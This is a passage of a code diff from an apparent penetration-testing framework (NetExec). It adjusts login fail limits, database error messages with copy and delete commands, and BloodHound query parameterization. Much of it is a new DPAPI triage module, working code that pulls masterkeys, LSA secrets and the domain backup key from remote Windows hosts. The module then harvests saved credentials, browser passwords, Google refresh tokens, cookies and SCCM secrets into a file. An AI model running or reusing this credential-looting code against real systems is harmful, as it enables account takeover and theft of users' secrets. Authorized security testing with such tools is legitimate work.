global global_failed_logins, user_failed_logins
if global_failed_logins == self.args.gfail_limit:
return True
with fail_lock:
if global_failed_logins == self.args.gfail_limit:
return True
if self.failed_logins == self.args.fail_limit:
return True
if self.failed_logins == self.args.fail_limit:
return True
if username in user_failed_logins and self.args.ufail_limit == user_failed_logins[username]: # noqa: SIM103
return True
if username in user_failed_logins and self.args.ufail_limit == user_failed_logins[username]: # ruff: ignore[needless-bool]
return True
return False
return False
def query_db_creds(self):
"""Queries the database for credentials to be used for authentication.
@@ -480,8 +455,6 @@ class connection:
- NTLM-hash (/kerberos)
- AES-key
"""
if self.over_fail_limit(username):
return False
if self.args.continue_on_success and owned:
return False
@@ -497,6 +470,8 @@ class connection:
sleep(value)
with sem:
if self.over_fail_limit(username):
return False
if cred_type == "plaintext":
if self.kerberos:
self.logger.debug("Trying to authenticate using Kerberos")
@@ -552,22 +527,29 @@ class connection:
if self.args.use_kcache:
self.logger.debug("Trying to authenticate using Kerberos cache")
with sem:
username = self.args.username[0] if len(self.args.username) else ""
from impacket.krb5.ccache import CCache
username = self.args.username[0] if len(self.args.username) else CCache.parseFile()[1]
password = self.args.password[0] if len(self.args.password) else ""
self.kerberos_login(self.domain, username, password, "", "", self.kdcHost, True)
self.logger.info("Successfully authenticated using Kerberos cache")
return True
if self.args.pfx_cert or self.args.pfx_base64 or self.args.pem_cert:
if self.certificate_auth:
self.logger.debug("Trying to authenticate using Certificate pfx")
if not self.args.username:
if self.args.protocol == "ldap" and self.args.schannel:
# Schannel maps the certificate to an account server-side, so the supplied username is ignored
with sem:
return self.plaintext_login(self.domain, "", "")
if not username:
self.logger.fail("You must specify a username when using certificate authentication")
return False
with sem:
return pfx_auth(self)
from nxc.helpers.pfx import pfx_auth
return pfx_auth(self, domain[0], username[0])
if hasattr(self.args, "laps") and self.args.laps:
self.logger.debug("Trying to authenticate using LAPS")
from nxc.protocols.ldap.laps import laps_search
username[0], secret[0], domain[0] = laps_search(self, username, secret, cred_type, domain, self.dns_server)
cred_type = ["plaintext"]
if not (username[0] or secret[0] or domain[0]):
@@ -599,5 +581,9 @@ class connection:
self.modules = []
for module_path in self.module_paths:
module = loader.init_module(module_path)
try:
module = loader.init_module(module_path)
except ModuleOptionsError as e:
self.logger.debug(f"Skipping module: {e}")
continue
self.modules.append(module)
+3
View File
@@ -7,6 +7,9 @@ reveal_chars_of_pwd = 0
log_mode = False
host_info_colors = ["green", "red", "yellow", "cyan"]
check_guest_account = False
display_dc = True
skip_self = False
exclude_hosts = []
[BloodHound]
bh_enabled = False
+22 -6
View File
@@ -1,5 +1,6 @@
import configparser
import ipaddress
import platform
import shutil
import sys
from os import mkdir
@@ -170,11 +171,23 @@ class BaseDB:
return reflected_table
except (NoInspectionAvailable, NoSuchTableError, ValueError) as e:
commands_platform = {
"Windows": [
f"cmd /c copy {self.db_path} %USERPROFILE%\\nxc_{self.protocol.lower()}.bak",
f"del {self.db_path}"
],
"Linux": [
f"cp {self.db_path} ~/nxc_{self.protocol.lower()}.bak",
f"rm -f {self.db_path}"
]
}
copy_command = commands_platform["Windows"][0] if platform.system() == "Windows" else commands_platform["Linux"][0]
delete_command = commands_platform["Windows"][1] if platform.system() == "Windows" else commands_platform["Linux"][1]
nxc_logger.fail(f"Schema mismatch detected for table '{table.__tablename__}' in protocol '{self.protocol}'")
nxc_logger.debug(e)
nxc_logger.fail("This is probably because a newer version of nxc is being run on an old DB schema.")
nxc_logger.fail(f"Optionally save the old DB data (`cp {self.db_path} ~/nxc_{self.protocol.lower()}.bak`)")
nxc_logger.fail(f"Then remove the {self.protocol} DB (`rm -f {self.db_path}`) and run nxc to initialize the new DB")
nxc_logger.fail(f"Optionally save the old DB data (`{copy_command}`)")
nxc_logger.fail(f"Then remove the {self.protocol} DB (`{delete_command}`) and run nxc to initialize the new DB")
sys.exit()
def shutdown_db(self):
@@ -191,7 +204,10 @@ class BaseDB:
self.db_execute(table.delete())
def db_execute(self, *args):
self.lock.acquire()
res = self.sess.execute(*args)
self.lock.release()
return res
with self.lock:
res = self.sess.execute(*args)
return res.freeze()() if res.returns_rows else res
def get_keys(self, key_id=None, cred_id=None):
"""Return an empty list by default. Protocols that support keys (e.g. SSH) override this."""
return []
+5 -5
View File
@@ -43,7 +43,7 @@ def add_user_bh(user, domain, logger, config):
with driver.session().begin_transaction() as tx:
for user_info in users_owned:
distinguished_name = "".join([f"DC={dc}," for dc in user_info["domain"].split(".")]).rstrip(",")
domain_query = tx.run(f"MATCH (d:Domain) WHERE d.distinguishedname STARTS WITH '{distinguished_name}' RETURN d").data()
domain_query = tx.run("MATCH (d:Domain) WHERE d.distinguishedname STARTS WITH $distinguished_name RETURN d", distinguished_name=distinguished_name).data()
if not domain_query:
logger.debug(f"Domain {user_info['domain']} not found in BloodHound. Falling back to domainless query.")
_add_without_domain(user_info, tx, logger)
@@ -68,14 +68,14 @@ def _add_with_domain(user_info, domain, tx, logger):
user_owned = f"{user_info['username']}@{domain}"
account_type = "User"
result = tx.run(f"MATCH (c:{account_type} {{name:'{user_owned}'}}) RETURN c").data()
result = tx.run(f"MATCH (c:{account_type} {{name: $user_owned}}) RETURN c", user_owned=user_owned).data()
if len(result) == 0:
logger.fail("Account not found in the BloodHound database.")
return
if result[0]["c"].get("owned") in (False, None):
logger.debug(f"MATCH (c:{account_type} {{name:'{user_owned}'}}) SET c.owned=True RETURN c.name AS name")
result = tx.run(f"MATCH (c:{account_type} {{name:'{user_owned}'}}) SET c.owned=True RETURN c.name AS name").data()[0]
result = tx.run(f"MATCH (c:{account_type} {{name: $user_owned}}) SET c.owned=True RETURN c.name AS name", user_owned=user_owned).data()[0]
logger.highlight(f"Node {result['name']} successfully set as owned in BloodHound")
@@ -87,7 +87,7 @@ def _add_without_domain(user_info, tx, logger):
user_owned = user_info["username"]
account_type = "User"
result = tx.run(f"MATCH (c:{account_type}) WHERE c.name STARTS WITH '{user_owned}' RETURN c").data()
result = tx.run(f"MATCH (c:{account_type}) WHERE c.name STARTS WITH $user_owned RETURN c", user_owned=user_owned).data()
if len(result) == 0:
logger.fail("Account not found in the BloodHound database.")
@@ -97,5 +97,5 @@ def _add_without_domain(user_info, tx, logger):
return
elif result[0]["c"].get("owned") in (False, None):
logger.debug(f"MATCH (c:{account_type} {{name:'{result[0]['c']['name']}'}}) SET c.owned=True RETURN c.name AS name")
result = tx.run(f"MATCH (c:{account_type} {{name:'{result[0]['c']['name']}'}}) SET c.owned=True RETURN c.name AS name").data()[0]
result = tx.run(f"MATCH (c:{account_type} {{name: $user_owned}}) SET c.owned=True RETURN c.name AS name", user_owned=result[0]["c"]["name"]).data()[0]
logger.highlight(f"Node {result['name']} successfully set as owned in BloodHound")
+461
View File
@@ -0,0 +1,461 @@
from dploot.lib.network.smb import SMBTarget, DPLootSMBConnection
from dploot.lib.target import Target
from dploot.triage.backupkey import BackupkeyTriage
from dploot.triage.browser import BrowserTriage, LoginData, GoogleRefreshToken, Cookie
from dploot.triage.cng import CngTriage
from dploot.triage.credentials import CredentialsTriage
from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file, Masterkey
from dploot.triage.sccm import SCCMTriage, SCCMCred, SCCMSecret, SCCMCollection
from dploot.triage.vaults import VaultsTriage
from nxc.helpers.firefox import FirefoxCookie, FirefoxData, FirefoxTriage
from nxc.helpers.logger import highlight
def upgrade_to_dploot_connection(target, connection):
"""
DPLootConnection classes implements a whole lot of stuff to handle the DPAPI part.
This function gets the calling NXC protocol and tries reuse the already opened connection
on DPLoot directly. If not it opens up a new connection.
"""
conn = None
protocol = target.protocol
try:
match protocol:
case "smb":
from dploot.lib.network.smb import DPLootSMBConnection
conn = DPLootSMBConnection(target)
if connection is not None:
conn.smb_session = connection.conn
else:
conn.connect()
case "wmi":
from dploot.lib.network.wmi import DPLootWMIConnection
conn = DPLootWMIConnection(target)
if connection is not None:
conn.dcom = connection.dcom_conn
conn.iWbemLevel1Login = connection.iWbemLevel1Login
else:
conn.connect()
case "winrm":
from dploot.lib.network.winrm import DPLootWINRMConnection
conn = DPLootWINRMConnection(target)
if connection is not None:
conn.conn = connection.conn
else:
conn.connect()
case "mssql":
from dploot.lib.network.mssql import DPLootMSSQLConnection
conn = DPLootMSSQLConnection(target)
if connection is not None:
conn.conn = connection.conn
except Exception as e:
connection.logger.debug(e)
return None
return conn
class DPAPITriage:
"""
DPAPI engine in NetExec. Each protocol supporting DPAPI needs to implement this class.
Since multiple NXC functionalities now implements DPAPI related secret recovery, this class aims to centralize
it in order to ease implemented and maintaining DPAPI functionalities is NXC protocols, but also
to avoid dumping masterkeys X times from the same target, loading the domain backup keys X times, etc.
To implement this class in a protocol, use a @property decorator on dpapi_triage like so:
```
@property
def dpapi_triage(self) -> DPAPITriage:
if self._dpapi_triage is not None:
return self._dpapi_triage
target = <dploot target creation>
self._dpapi_triage = DPAPITriage(self, target)
return self._dpapi_triage
```
This way, every DPAPI related module will automaticaly work with the protocol
"""
def __init__(self, connection, target: Target):
self.connection = connection
self.target = target
self.conn = None
self.dump_cookies = False
self.masterkeys = []
self._pvkbytes = None
# Keep track of writing secrets in file
self.output_file = self.connection.output_file_template.format(output_folder="dpapi")
self.secrets_counter = 0
if connection.args.dpapi is not None:
self.dump_cookies = "cookies" in connection.args.dpapi
# Variables to know what materkey types have already been dumped
self.system_masterkeys_already_dumped = False
self.users_masterkeys_already_dumped = False
# Initialize the connection here, if you need this class then you will need the connection
self.init_connection()
def __del__(self):
# When everything is finished, then we give the feedback to the user
if self.output_file is not None and self.secrets_counter > 0:
self.connection.logger.success(f"Dumped {highlight(self.secrets_counter)} DPAPI secrets to {self.output_file}")
def log_secret(self, line, logger=None):
# Handle the secret counter here, avoid to handle it in multiple places
if logger is None:
logger = self.connection.logger
logger.highlight(line)
with open(self.output_file, "a", encoding="utf-8") as fd:
self.secrets_counter += 1
fd.write(line + "\n")
def init_connection(self):
"""Tries to initiate a DPLootConnection object from a NXC connection"""
if self.conn is not None:
self.connection.logger.debug("DPLoot connection already initiated, skipping.")
return
self.conn = upgrade_to_dploot_connection(connection=self.connection, target=self.target)
if self.conn is None:
self.connection.logger.fail("Could not upgrade connection to allow DPAPI triage")
return
def collect_masterkeys_from_target(self, dump_users: True, dump_system: False):
"""
Get and decrypt masterkeys from the target.
dump_users: If True, then user masterkeys will be collected if they have not already been
dump_system: If True, then system masterkeys will be collected if they have not already been
"""
# If we have already dumped everything, then we won't find new stuff
if self.users_masterkeys_already_dumped and self.system_masterkeys_already_dumped:
return self.masterkeys
masterkeys = []
plaintexts = {}
nthashes = {}
# First, check and handle the mkfile arg
if self.connection.args.mkfile is not None:
try:
masterkeys += parse_masterkey_file(self.connection.args.mkfile)
except Exception as e:
self.connection.logger.fail(str(e))
# Then, use nxcdb to fill wordlists, this can help to decrypt some masterkeys
if dump_users:
users = self.conn.list_users()
plaintexts = {username: password for _, _, username, password, _, _ in self.connection.db.get_credentials_for_users(usernames=users, cred_type="plaintext")}
nthashes = {username: nt.split(":")[1] if ":" in nt else nt for _, _, username, nt, _, _ in self.connection.db.get_credentials_for_users(usernames=users, cred_type="hash")}
# dploot matches user.lower()
if self.connection.password != "":
plaintexts[self.connection.username.lower()] = self.connection.password
if self.connection.nthash != "":
nthashes[self.connection.username.lower()] = self.connection.nthash
# Now prepare the SYSTEM part
if (dump_system
and self.connection.dpapi_system_key is None
and hasattr(self.connection, "lsa")
and callable(self.connection.lsa)):
# We can use the protocol specific LSA dump if not already dumped.
# But first, just making sure the protocol supports LSA dump :)
self.connection.logger.display("Dumping LSA secrets to get DPAPI SYSTEM keys")
self.connection.lsa(quiet=True)
if self.connection.dpapi_system_key is not None:
self.connection.logger.highlight(f"dpapi_machinekey:{self.connection.dpapi_system_key['MachineKey'].hex()}")
self.connection.logger.highlight(f"dpapi_userkey:{self.connection.dpapi_system_key['UserKey'].hex()}")
else:
self.connection.logger.fail("Could not get DPAPI SYSTEM keys")
# Invoke MasterkeyTriage class
try:
masterkeys_triage = MasterkeysTriage(
target=self.target,
conn=self.conn,
pvkbytes=self.pvkbytes,
passwords=plaintexts,
nthashes=nthashes,
dpapiSystem=self.connection.dpapi_system_key,
)
self.connection.logger.debug(f"Masterkeys Triage: {masterkeys_triage}")
# Collect User Masterkeys if this has not already been done
if dump_users and not self.users_masterkeys_already_dumped:
self.connection.logger.display("Collecting DPAPI Users masterkeys")
masterkeys += masterkeys_triage.triage_masterkeys()
# if multiple functionalities are calling masterkeys triage, make sur we do it only once
self.users_masterkeys_already_dumped = True
# Collect SYSTEM Masterkeys if this has not already been done
if self.connection.dpapi_system_key is not None and not self.system_masterkeys_already_dumped:
self.connection.logger.display("Collecting DPAPI SYSTEM masterkeys")
masterkeys += masterkeys_triage.triage_system_masterkeys()
# if multiple functionalities are calling masterkeys triage, make sur we do it only once
self.system_masterkeys_already_dumped = True
except Exception as e:
self.connection.logger.debug(f"Could not get masterkeys: {e}")
self.masterkeys += masterkeys
# If we decrypted new masterkeys, print the message
if len(masterkeys) > 0:
self.connection.logger.success(f"Got {highlight(len(masterkeys))} decrypted masterkeys. ")
return self.masterkeys
def triage_credentials(self, masterkeys: list[Masterkey]):
# Collect User and Machine Credentials Manager secrets
def credential_callback(credential):
tag = "CREDENTIAL"
line = f"[{credential.winuser}][{tag}] {credential.target} - {credential.username}:{credential.password}"
self.log_secret(line)
self.connection.db.add_dpapi_secrets(
self.target.address,
tag,
credential.winuser,
credential.username,
credential.password,
credential.target,
)
try:
credentials_triage = CredentialsTriage(target=self.target, conn=self.conn, masterkeys=masterkeys, per_credential_callback=credential_callback)
self.connection.logger.debug(f"Credentials Triage Object: {credentials_triage}")
credentials_triage.triage_credentials()
credentials_triage.triage_system_credentials()
except Exception as e:
self.connection.logger.debug(f"Error while looting credentials: {e}")
def triage_chromium(self, masterkeys: list[Masterkey]):
cng_chromekey = None
# We need the CNG triage to recover Chrome passwords since Chrome v137
try:
cng_triage = CngTriage(target=self.target, conn=self.conn, masterkeys=masterkeys)
for cng_file in cng_triage.triage_system_cng():
if cng_file.cng_blob["Name"].decode("utf-16le").rstrip("\0") == "Google Chromekey1":
self.connection.logger.debug("Found CNG Google ChromeKey1\n")
cng_chromekey = cng_file.decrypted_private_key
except Exception as e:
self.connection.logger.debug(f"Error while getting CNG ChromeKey1: {e}")
# Collect Chrome Based Browser stored secrets
def browser_callback(secret):
if isinstance(secret, LoginData):
secret_url = secret.url + " -" if secret.url != "" else "-"
line = f"[{secret.winuser}][{secret.browser.upper()}] {secret_url} {secret.username}:{secret.password}"
self.log_secret(line)
self.connection.db.add_dpapi_secrets(
self.target.address,
secret.browser.upper(),
secret.winuser,
secret.username,
secret.password,
secret.url,
)
elif isinstance(secret, GoogleRefreshToken):
line = f"[{secret.winuser}][{secret.browser.upper()}] Google Refresh Token: {secret.service}:{secret.token}"
self.log_secret(line)
self.connection.db.add_dpapi_secrets(
self.target.address,
secret.browser.upper(),
secret.winuser,
secret.service,
secret.token,
"Google Refresh Token",
)
elif isinstance(secret, Cookie):
line = f"[{secret.winuser}][{secret.browser.upper()}] {secret.host}{secret.path} - {secret.cookie_name}:{secret.cookie_value}"
self.log_secret(line)
try:
browser_triage = BrowserTriage(target=self.target, conn=self.conn, masterkeys=masterkeys, per_secret_callback=browser_callback)
browser_triage.triage_browsers(gather_cookies=self.dump_cookies, cng_chromekey=cng_chromekey)
except Exception as e:
self.connection.logger.debug(f"Error while looting browsers: {e}")
def triage_vaults(self, masterkeys: list[Masterkey]):
def vault_callback(secret):
tag = "IEX"
if secret.type == "Internet Explorer":
resource = secret.resource + " -" if secret.resource != "" else "-"
line = f"[{secret.winuser}][{tag}] {resource} - {secret.username}:{secret.password}"
self.log_secret(line)
self.connection.db.add_dpapi_secrets(
self.target.address,
tag,
secret.winuser,
secret.username,
secret.password,
secret.resource,
)
try:
# Collect User Internet Explorer stored secrets
vaults_triage = VaultsTriage(target=self.target, conn=self.conn, masterkeys=masterkeys, per_vault_callback=vault_callback)
vaults_triage.triage_vaults()
except Exception as e:
self.connection.logger.debug(f"Error while looting vaults: {e}")
def triage_firefox(self):
def firefox_callback(secret):
tag = "FIREFOX"
if isinstance(secret, FirefoxData):
url = secret.url + " -" if secret.url != "" else "-"
line = f"[{secret.winuser}][{tag}] {url} {secret.username}:{secret.password}"
self.log_secret(line)
self.connection.db.add_dpapi_secrets(
self.target.address,
tag,
secret.winuser,
secret.username,
secret.password,
secret.url,
)
elif isinstance(secret, FirefoxCookie):
line = f"[{secret.winuser}][{tag}] {secret.host}{secret.path} {secret.cookie_name}:{secret.cookie_value}"
self.log_secret(line)
try:
# Collect Firefox stored secrets
firefox_triage = FirefoxTriage(target=self.target, logger=self.connection.logger, conn=self.conn, per_secret_callback=firefox_callback)
firefox_triage.run(gather_cookies=self.dump_cookies)
except Exception as e:
self.logger.debug(f"Error while looting firefox: {e}")
# The dpapi function for every protocol
def triage_dpapi(self):
# Load masterkeys
masterkeys = self.collect_masterkeys_from_target(dump_users=True, dump_system="nosystem" not in self.connection.args.dpapi)
if len(masterkeys) == 0:
# Nothing will be recovered if no masterkeys, so we can stop there
self.connection.logger.fail("No masterkeys looted")
return
self.connection.logger.success("Looting secrets...")
# Calling all the triage functions. We can add other triage functions here
self.triage_credentials(masterkeys)
self.triage_chromium(masterkeys)
self.triage_vaults(masterkeys)
self.triage_firefox()
def triage_sccm(self):
masterkeys = self.collect_masterkeys_from_target(dump_users=False, dump_system=True)
if len(masterkeys) == 0:
self.connection.logger.fail("No masterkeys looted")
return
self.connection.logger.success("Looting SCCM Credentials")
def sccm_callback(secret):
if isinstance(secret, SCCMCred):
tag = "NAA Account"
line = f"[{tag}] {secret.username.decode('latin-1')}:{secret.password.decode('latin-1')}"
self.log_secret(line)
self.connection.db.add_dpapi_secrets(
self.target.address,
f"SCCM - {tag}",
"SYSTEM",
secret.username.decode("latin-1"),
secret.password.decode("latin-1"),
"N/A",
)
elif isinstance(secret, SCCMSecret):
tag = "Task sequences secret"
line = f"[{tag}] {secret.secret.decode('latin-1')}"
self.log_secret(line)
self.connection.db.add_dpapi_secrets(
self.target.address,
f"SCCM - {tag}",
"SYSTEM",
"N/A",
secret.secret.decode("latin-1"),
"N/A",
)
elif isinstance(secret, SCCMCollection):
tag = "Collection Variable"
line = f"[{tag}] {secret.variable.decode('latin-1')}:{secret.value.decode('latin-1')}"
self.log_secret(line)
self.connection.db.add_dpapi_secrets(
self.target.address,
f"SCCM - {tag}",
"SYSTEM",
secret.variable.decode("latin-1"),
secret.value.decode("latin-1"),
"N/A",
)
try:
sccm_triage = SCCMTriage(target=self.target, conn=self.conn, masterkeys=masterkeys, per_secret_callback=sccm_callback)
sccm_triage.triage_sccm()
except Exception as e:
self.logger.debug(f"Error while looting sccm: {e}")
@property
def pvkbytes(self):
"""
The pvkbytes. If not already initialized, tries to set it
The precedence order is the following :
- Check the pvk argument
- Checks in the DB
- Get it from a domain controller
"""
# pvkbytes already loaded and in cache ? Serve it
if self._pvkbytes is not None:
return self._pvkbytes
pvkbytes = None
# First check the pvk argument and handle it
if self.connection.args.pvk is not None:
try:
with open(self.connection.args.pvk, "rb") as fd:
pvkbytes = fd.read()
self.connection.logger.success(f"Loading domain backupkey from {self.connection.args.pvk}")
except Exception as e:
self.connection.logger.fail(str(e))
# If no pvkbytes yet, then we check in the DB
if pvkbytes is None:
try:
results = self.connection.db.get_domain_backupkey(self.connection.domain)
except Exception:
self.connection.logger.fail("Your version of nxcdb is not up to date, run nxcdb and create a new workspace: 'workspace create dpapi' then re-run the dpapi option")
return False
if len(results) > 0:
self.connection.logger.success("Loading domain backupkey from nxcdb...")
pvkbytes = results[0][2]
# If no pvkbytes yet, then we can try to get it from a domain controller
if pvkbytes is None and self.connection.no_da is None and self.connection.args.local_auth is False:
try:
dc_target = SMBTarget.create(
domain=self.connection.domain,
username=self.connection.username,
password=self.connection.password,
address=self.connection.kdcHost, # querying DNS server for domain will return DC
lmhash=self.connection.lmhash,
nthash=self.connection.nthash,
do_kerberos=self.connection.kerberos,
aesKey=self.connection.aesKey,
use_kcache=self.connection.use_kcache,
)
dc_conn = DPLootSMBConnection(dc_target)
dc_conn.connect() # Connect to DC
if dc_conn.is_admin():
self.connection.logger.success("User is Domain Administrator, exporting domain backupkey...")
backupkey_triage = BackupkeyTriage(target=dc_target, conn=dc_conn)
backupkey = backupkey_triage.triage_backupkey()
pvkbytes = backupkey.backupkey_v2
self.connection.db.add_domain_backupkey(self.connection.domain, pvkbytes)
else:
self.connection.no_da = False
except Exception as e:
self.connection.logger.fail(f"Could not get domain backupkey: {e}")
self._pvkbytes = pvkbytes
return self._pvkbytes
@@ -11,9 +11,8 @@ from dataclasses import dataclass
from typing import Any
from Cryptodome.Cipher import AES, DES3
from pyasn1.codec.der import decoder
from dploot.lib.smb import DPLootSMBConnection
from dploot.lib.network import DPLootConnection
from nxc.protocols.smb.dpapi import upgrade_to_dploot_connection
CKA_ID = unhexlify("f8000000000000000000000000000001")
@@ -61,7 +60,7 @@ class FirefoxTriage:
"All Users",
)
def __init__(self, target, logger, conn: DPLootSMBConnection = None, per_secret_callback: Any = None):
def __init__(self, target, logger, conn: DPLootConnection = None, per_secret_callback: Any = None):
self.target = target
self.logger = logger
self.conn = conn
@@ -69,16 +68,13 @@ class FirefoxTriage:
self.per_secret_callback = per_secret_callback
def run(self, gather_cookies=False):
if self.conn is None:
upgrade_to_dploot_connection(target=self.target)
firefox_data = []
firefox_cookies = []
# list users
users = self.get_users()
users = self.conn.list_users()
for user in users:
try:
directories = self.conn.remote_list_dir(share=self.share, path=self.firefox_generic_path.format(user))
directories = self.conn.list_dir(share=self.share, path=self.firefox_generic_path.format(user))
except Exception as e:
if "STATUS_OBJECT_PATH_NOT_FOUND" in str(e):
continue
@@ -89,18 +85,18 @@ class FirefoxTriage:
try:
if gather_cookies:
cookies_path = ntpath.join(self.firefox_generic_path.format(user), d.get_longname(), "cookies.sqlite")
cookies_data = self.conn.readFile(self.share, cookies_path)
cookies_data = self.conn.read_file(path=cookies_path, share=self.share)
if cookies_data is not None:
firefox_cookies += self.parse_cookie_data(user, cookies_data)
logins_path = self.firefox_generic_path.format(user) + "\\" + d.get_longname() + "\\logins.json"
logins_data = self.conn.readFile(self.share, logins_path)
logins_data = self.conn.read_file(path=logins_path, share=self.share)
if logins_data is None:
continue # No logins.json file found
logins = self.get_login_data(logins_data=logins_data)
if len(logins) == 0:
continue # No logins profile found
key4_path = self.firefox_generic_path.format(user) + "\\" + d.get_longname() + "\\key4.db"
key4_data = self.conn.readFile(self.share, key4_path)
key4_data = self.conn.read_file(path=key4_path, share=self.share)
if key4_data is None:
continue
# Get all available master keys (Firefox 144+ may have multiple keys)
@@ -147,7 +143,7 @@ class FirefoxTriage:
def parse_cookie_data(self, windows_user, cookies_data):
cookies = []
fh = tempfile.NamedTemporaryFile(delete=False) # noqa: SIM115
fh = tempfile.NamedTemporaryFile(delete=False) # ruff: ignore[open-file-with-context-handler]
fh.write(cookies_data)
fh.seek(0)
db = sqlite3.connect(fh.name)
@@ -192,7 +188,7 @@ class FirefoxTriage:
# Instead of disabling "delete" and removing the file manually,
# in the future (py3.12) we could use "delete_on_close=False" as a cleaner solution
# Related issue: #134
fh = tempfile.NamedTemporaryFile(delete=False) # noqa: SIM115
fh = tempfile.NamedTemporaryFile(delete=False) # ruff: ignore[open-file-with-context-handler]
fh.write(key4_data)
fh.seek(0)
db = sqlite3.connect(fh.name)
@@ -216,7 +212,7 @@ class FirefoxTriage:
for row in cursor:
try:
a11 = row[0]
a102 = row[1] # noqa: F841
a102 = row[1] # ruff: ignore[unused-variable]
decoded_a11 = decoder.decode(a11)
key = self.decrypt_3des(decoded_a11, master_password, global_salt)
@@ -252,17 +248,6 @@ class FirefoxTriage:
self.logger.debug(e)
return "", "", ""
def get_users(self):
users = []
users_dir_path = "Users\\*"
directories = self.conn.listPath(shareName=self.share, path=ntpath.normpath(users_dir_path))
for d in directories:
if d.get_longname() not in self.false_positive and d.is_directory() > 0:
users.append(d.get_longname()) # noqa: PERF401, ignoring for readability
return users
@staticmethod
def decode_login_data(data):
asn1data = decoder.decode(b64decode(data))
+100
View File
@@ -1,9 +1,12 @@
from contextlib import suppress
from enum import Enum
import hashlib
import random
import string
import re
import inspect
import os
from unicodedata import normalize
from termcolor import colored
from ipaddress import ip_address
from nxc.logger import nxc_logger
@@ -26,6 +29,91 @@ def gen_random_string(length=10):
return "".join(random.sample(string.ascii_letters, int(length)))
def sanitize_dns(hostname, logger=nxc_logger):
"""Return an untrusted hostname or domain as a safe, nonempty string."""
# Always provide a safe fallback, even for missing or unstringable input.
if hostname is None:
return "_"
try:
hostname = hostname.decode("utf-8", errors="surrogateescape") if isinstance(hostname, bytes) else str(hostname)
except Exception:
return "_"
if not hostname:
return "_"
# Replace path, configuration, formatting, whitespace, and control characters.
unsafe_characters = '<>:"/\\|?*{}[]=#;\'' # Portable paths, format strings, hosts files, and krb5.conf
sanitized = "".join(
character if character.isprintable()
and not character.isspace()
and character not in unsafe_characters
and all(
normalized_character.isprintable()
and not normalized_character.isspace()
and normalized_character not in unsafe_characters
for normalized_character in normalize("NFKC", character)
)
else "_"
for character in hostname
)
# Neutralize traversal segments and Windows-trimmed trailing dots.
if normalize("NFKC", sanitized) in (".", ".."):
sanitized = "_" * len(sanitized)
if sanitized.endswith(".") or normalize("NFKC", sanitized[-1]).endswith("."):
sanitized = f"{sanitized[:-1]}_"
# Bound filename length while retaining a stable identifier for long names.
if len(sanitized.encode("utf-8")) > 253:
suffix = f"_{hashlib.sha256(hostname.encode('utf-8', errors='surrogatepass')).hexdigest()[:12]}"
byte_length = 0
truncated = []
for character in sanitized:
character_length = len(character.encode("utf-8"))
if byte_length + character_length > 253 - len(suffix):
break
truncated.append(character)
byte_length += character_length
sanitized = f"{''.join(truncated)}{suffix}"
# Fail closed if a future change violates any output invariant.
normalized = normalize("NFKC", sanitized)
if (
not sanitized
or not normalized
or len(sanitized.encode("utf-8")) > 253
or normalized in (".", "..")
or normalized.endswith(".")
or any(
not character.isprintable()
or character.isspace()
or character in unsafe_characters
or any(
not normalized_character.isprintable()
or normalized_character.isspace()
or normalized_character in unsafe_characters
for normalized_character in normalize("NFKC", character)
)
for character in sanitized
)
):
sanitized = "_"
# Report changed input without allowing logging failures to affect safety.
if sanitized != hostname:
received = ascii(hostname[:256])
result = ascii(sanitized)
if len(hostname) > 256 or len(received) > 256:
received = f"{received[:253]}..."
if len(result) > 256:
result = f"{result[:253]}..."
if logger is not None:
with suppress(Exception):
logger.fail(f"Unsafe hostname or domain received: {received}; using {result}")
return sanitized
def validate_ntlm(data):
allowed = re.compile(r"^[0-9a-f]{32}", re.IGNORECASE)
return bool(allowed.match(data))
@@ -226,6 +314,18 @@ def convert(low, high, lockout=False):
return time
def parse_argument(argument: list) -> list:
"""Parse input from an argparse argument, which can be either a value or a file containing values."""
parsed_items = []
for item in argument:
if os.path.isfile(item):
with open(item) as f:
parsed_items.extend(line.strip() for line in f if line.strip())
else:
parsed_items.append(item.strip())
return parsed_items
def display_modules(args, modules):
for category, color in {CATEGORY.ENUMERATION: "green", CATEGORY.CREDENTIAL_DUMPING: "cyan", CATEGORY.PRIVILEGE_ESCALATION: "magenta"}.items():
# Add category filter for module listing
+96
View File
@@ -0,0 +1,96 @@
# Parsing helpers for auth negotiation: NTLM challenges and TDS ERROR/INFO on MSSQL LOGIN7.
# Original NTLM parsing from: https://github.com/fortra/impacket/blob/master/examples/DumpNTLMInfo.py#L568
import struct
from impacket import ntlm
from impacket.smb3 import WIN_VERSIONS
from impacket.tds import TDS_ERROR_TOKEN, TDS_INFO_TOKEN, TDS_INFO_ERROR
import contextlib
def parse_challenge(challange):
target_info = {
"hostname": None,
"dns_hostname": None,
"domain": None,
"os_version": None
}
challange = ntlm.NTLMAuthChallenge(challange)
av_pairs = ntlm.AV_PAIRS(challange["TargetInfoFields"][:challange["TargetInfoFields_len"]])
if av_pairs[ntlm.NTLMSSP_AV_HOSTNAME] is not None:
with contextlib.suppress(Exception):
target_info["hostname"] = av_pairs[ntlm.NTLMSSP_AV_HOSTNAME][1].decode("utf-16le")
if av_pairs[ntlm.NTLMSSP_AV_DNS_HOSTNAME] is not None:
with contextlib.suppress(Exception):
target_info["dns_hostname"] = av_pairs[ntlm.NTLMSSP_AV_DNS_HOSTNAME][1].decode("utf-16le")
if av_pairs[ntlm.NTLMSSP_AV_DNS_DOMAINNAME] is not None:
with contextlib.suppress(Exception):
target_info["domain"] = av_pairs[ntlm.NTLMSSP_AV_DNS_DOMAINNAME][1].decode("utf-16le")
if "Version" in challange.fields:
version = challange["Version"]
if len(version) >= 4:
major_version = version[0]
minor_version = version[1]
product_build = struct.unpack("<H", version[2:4])[0]
if product_build in WIN_VERSIONS:
target_info["os_version"] = f"{WIN_VERSIONS[product_build]} Build {product_build}"
else:
target_info["os_version"] = f"{major_version}.{minor_version} Build {product_build}"
return target_info
def decode_tds_info_error_msgtext(data, offset):
"""Extract MsgText from a TDS ERROR (0xAA) or INFO (0xAB) token at *offset*.
Official spec: [MS-TDS] Tabular Data Stream Protocol (Microsoft Learn).
Token layout per MS-TDS 2.2.7.9 (INFO) / 2.2.7.10 (ERROR):
TokenType BYTE 0xAA | 0xAB
Length USHORT LE byte count of the remaining fields
Number LONG LE error / info number
State BYTE
Class BYTE severity
MsgText US_VARCHAR (2-byte LE length prefix + UTF-16LE)
... (ServerName, ProcName, LineNumber follow but are unused here)
The minimum *Length* value for a valid token is 8: Number(4) + State(1) +
Class(1) + MsgText length prefix(2, may be zero-length string).
References (Microsoft Learn, MS-TDS):
